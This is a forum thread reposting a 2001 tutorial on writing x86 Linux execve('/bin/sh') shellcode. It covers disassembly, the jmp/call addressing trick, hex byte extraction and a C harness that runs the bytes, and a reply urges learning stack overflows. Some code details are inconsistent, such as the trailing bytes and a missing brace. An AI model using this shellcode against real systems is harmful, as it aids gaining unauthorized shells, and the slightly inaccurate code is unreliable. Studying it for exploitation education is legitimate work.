免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1326 | 回复: 1
打印 上一主题 下一主题

(转)Writing generic SHELLCODE for Linux [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-05-26 20:38 |只看该作者 |倒序浏览
Introduction:



Shellcode is usually used to exploit programs or deamons to get root shell.

Here I will focus how to write correct generic shell code, possible next paper will

focus on advanced shell codes for certain deamons and bugz in sources.



Begining:



At first write a simple shell execution on hight-level languagde using execve:

--[::shell.c]--

#include <stdio.h>;

void shell()

{

        char *name[2];

        name[0] = "/bin/sh";

        name[1] = NULL;

        execv (name[0], name, NULL);



--:::::::::::::--

Next step to get hexademical translation of this shell, we should compile it

(using -static flag, to include execve syscall) and disassemble:

-----------------

$ gcc -o shell -static shell.c

$ objdump -d shell|less



<main>;:

01:       55                      pushl  %ebp

02:       89 e5                   movl   %esp,%ebp

03:       83 ec 08                subl   $0x8,%esp

04:       c7 45 f8 08 f3 06 08    movl   $0x806f308,0xfffffff8(%ebp)

05:       c7 45 fc 00 00 00 00    movl   $0x0,0xfffffffc(%ebp)

06:       6a 00                   pushl  $0x0

07:       8d 45 f8                leal   0xfffffff8(%ebp),%eax

08:       50                      pushl  %eax

09:       8b 45 f8                movl   0xfffffff8(%ebp),%eax

10:       50                      pushl  %eax

11:       e8 e5 37 00 00          call   __OFFSET_OF_EXECVE__ <__execve>;

12:       83 c4 0c                addl   $0xc,%esp

13:       c9                      leave

14:       c3                      ret

<__execve>;:

15:       53                      pushl  %ebx

16:       8b 54 24 10             movl   0x10(%esp,1),%edx

17:       8b 4c 24 0c             movl   0xc(%esp,1),%ecx

18:       8b 5c 24 08             movl   0x8(%esp,1),%ebx

19:       b8 0b 00 00 00          movl   $0xb,%eax

20:       cd 80                   int    $0x80

21:       5b                      popl   %ebx

22:       3d 01 f0 ff ff          cmpl   $0xfffff001,%eax

23:       0f 83 e0 02 00 00       jae    804bca0 <__syscall_error>;

24:       c3                      ret

-----------------

Looking on assembler code and obsorve needed part:

Strings 01 - 03, it is called prelog procedure.

01:       55                      pushl  %ebp

02:       89 e5                   movl   %esp,%ebp

03:       83 ec 08                subl   $0x8,%esp

It is first saves old stack base pointer, makes the current stack pointer the new frame pointer,

and leaves space for the local variables. We had iniciate is with:

        char *name[2];

Two pointers to char. Pointers are a word long, so it leaves space for two words (8 bytes).

Next string:

04:       c7 45 f8 08 f3 06 08    movl   $0x806f308,0xfffffff8(%ebp)

Put address of string "/bin/sh" (or pointer to string) into the reserved place in the stack. It is

equivalent to c code:

        name[0] = "/bin/sh";

Next string:

05:       c7 45 fc 00 00 00 00    movl   $0x0,0xfffffffc(%ebp)

Put value "NULL" (00 00 00 00) into the reserved place in the stack.

        name[1] = NULL;

And preparing to call <_execve>; by next steps.

06:       6a 00                   pushl  $0x0

Push NULL to stack.

07:       8d 45 f8                leal   0xfffffff8(%ebp),%eax

Load the address of name[] into the %eax register.

08:       50                      pushl  %eax

Push the address of name[] into stack.

09:       8b 45 f8                movl   0xfffffff8(%ebp),%eax

Placing the address of name[0]("/bin/sh" into the %eax.

10:       50                      pushl  %eax

Push address into the stack.

11:       e8 e5 37 00 00          call   __OFFSET_OF_EXECVE__ <__execve>;

Call <__execve>;, call instruction pushes the IP into the stack.



Next step is <__execve>; syscall:

15:       53                      pushl  %ebx

Push into stack current %ebx.

16:       8b 54 24 10             movl   0x10(%esp,1),%edx

Move into %edx address of name[].

17:       8b 4c 24 0c             movl   0xc(%esp,1),%ecx

Move into %ecx address of name[1].

18:       8b 5c 24 08             movl   0x8(%esp,1),%ebx

Move into %edx address of name[0].

19:       b8 0b 00 00 00          movl   $0xb,%eax

Move execve index in the syscall table to %eax.

20:       cd 80                   int    $0x80

Change into programing kernel mode.

Here we got the SHELL.



So that all we need to write correct generic shell code.

Analyzing ASM code we can see, that we need next part to write correct shell execution.

* Know the address of the string "/bin/sh"

* The address of the address of the string.

* String "/bin/sh", terminated by NULL.

* Long null in the memory.

* Move 0xb (execve) into %eax register.

* Move the address (in the memory) of the string "/bin/sh" into %ebx register.

* Move the address of the address of the string "/bin/sh" into %ecx register.

* Move the address of the null long (00 00 00 00) into %edx register.

* Execute the int $0x80 instruction.



But in reallity, we don't know where in the memory space of the program we are trying to

exploit the code will be placed. So we need complex and relative addressing shell code.

The only way we can use JMP and CALL instructions. It is means that we can jump from current

IP whitout needing to know address we want to execute. If we place the CALL instruction before

string "/bin/sh" and JMP instruction to it, the address will be pushed onto the stack as the

return address when CALL is executed.

--[::shell.s]--

jmp __to_call_instruction__ // to get address of .string "/bin/sh"

popl %esi                    // got the address of .string "/bin/sh"

movl string_address, string_address_address //to place address string in the memory

movb 0x0, 7+string_address //terminate string by 00

movl 0x0, c+string_address //put long null after string address

movl 0xb, %eax        //put execve syscall to %eax

movl string_address, %ebx //mov string address to %ebx

leal string_adress_adress, %ecx //load and put string address to %ecx

leal null_long, %edx //load and put null long address to %edx

int $0x80        //exevute the int $0x80 instruction

call __popl__  //call popl place

.string "/bin/sh" // string goes here

-----------------

Insert it into c sourse and put instead __to_call_instruction__ and __popl__ some testing variables.

--[::code.s]---

void main()

{

__asm__ ("

        jmp 0x22

        popl %esi

        movl %esi, 0x8(%esi)

        movb $0x0, 0x7(%esi)

        movl $0x0, 0xc(%esi)

        movl $0xb, %eax

        movl %esi, %ebx

        leal 0x8(%esi), %ecx

        leal 0xc(%esi), %edx

        int $0x80

        call -0x22

        .string \"/bin/sh\"

";

}

-----------------

jmp 0x22 and call -0x22 are testing, we should get exactly address by running objdump:

-----------------

$ gcc -o code code.s

$ objdum -d code|less

<main>;:

8048398:       55                      pushl  %ebp

8048399:       89 e5                   movl   %esp,%ebp

804839b:       eb 1e                   jmp    80483bb <main+0x23>;

804839d:       5e                      popl   %esi

804839e:       89 76 08                movl   %esi,0x8(%esi)

80483a1:       c6 46 07 00             movb   $0x0,0x7(%esi)

80483a5:       c7 46 0c 00 00 00 00    movl   $0x0,0xc(%esi)

80483ac:       b8 0b 00 00 00          movl   $0xb,%eax

80483b1:       89 f3                   movl   %esi,%ebx

80483b3:       8d 4e 08                leal   0x8(%esi),%ecx

80483b6:       8d 56 0c                leal   0xc(%esi),%edx

80483b9:       cd 80                   int    $0x80

80483bb:       e8 dd ff ff ff          call   804839d <main+0x5>;

80483c0:       2f                      das

80483c1:       62 69 6e                boundl 0x6e(%ecx),%ebp

80483c4:       2f                      das

80483c5:       73 68                   jae    804842f <_IO_stdin_used+0x13>;

80483c7:       00 c9                   addb   %cl,%cl

80483c9:       c3                      ret

80483ca:       90                      nop

-----------------

Callculating jmp (0x1e) and call (-0x23) we got shell code:

-----------------

"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

"\x00\xc9\x63\x90\x56";

-----------------

And next we can test it:

-----------------

char shellcode[] =

"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

"\x00\xc9\x63\x90\x56";

int main() {

void (*s)()= (void *)shellcode;

s();

}

-----------------

Comiling and running:

-----------------

$ gcc -o shellcode shellcode.c

$ ./shellcode

bash$

-----------------

So we have got our own shell code for Linux platform.

Next paper will describe how we can modify it for FreeBSD and OpenBSD platforms.



All rights reserved by Ni0S (c) 2001.

[datarise.org]

EOF

论坛徽章:
0
2 [报告]
发表于 2003-05-26 20:39 |只看该作者

(转)Writing generic SHELLCODE for Linux

堆栈溢出是黑客常用的技术`!一定要学会。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP